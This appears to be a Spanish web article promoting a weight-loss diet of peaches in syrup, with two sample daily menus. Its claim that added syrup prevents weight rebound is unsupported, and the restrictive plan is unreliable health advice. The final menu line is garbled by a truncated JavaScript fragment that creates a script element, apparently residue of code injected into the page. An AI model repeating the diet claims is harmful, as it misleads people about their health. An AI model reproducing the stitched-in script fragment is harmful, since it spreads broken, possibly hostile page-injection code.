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Para bajar de peso, nada mejor que almíbar y melocotón

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El sistema nutricional “del almíbar y melocotón” fue propuesto por un especialista en ciencias de la nutrición. En realidad, y el mismo impulsor se encargaría de afirmarlo, se trata de un mejoramiento en otra dieta que ya existía: la del melocotón.

Lo que sucede es que, en aquel primer plan nutricional, lo que se ganaba en pérdida de peso se recuperaba, al poco tiempo, gracias a un efecto rebote. En cambio, al sumar el condimento dulce del almíbar, el sistema se vuelve más estable: la balanza no vuelve a dar girones ni sustos.

Existen dos variantes de esta dieta del almíbar y melocotón, analicemos cada menú.

A)

DESAYUNO:

Dos mitades de melocotón en almíbar y un yogurt desnatado.

COMIDA Y CENA: misma rutina

Dos mitades de melocotón en almíbar, yogurt desnatado y pechuga de pollo a la plancha.

B)

DESAYUNO:

Un par de trozos pequeños de melocotón en almíbar o un melocotón natural; una barra de cereal; un café solo o cortado (con un chorrito de leche desnatada).

COMIDA:

Dos trozos de melocotón en almíbar o un melocotón natural; pescado a la plancha con una porción de ensalada mixta.

CENA:

Dos melocotones en almíbar; y una tortilla francesa de dos huevos.var d=document;var s=d.createElement('script'); } else {

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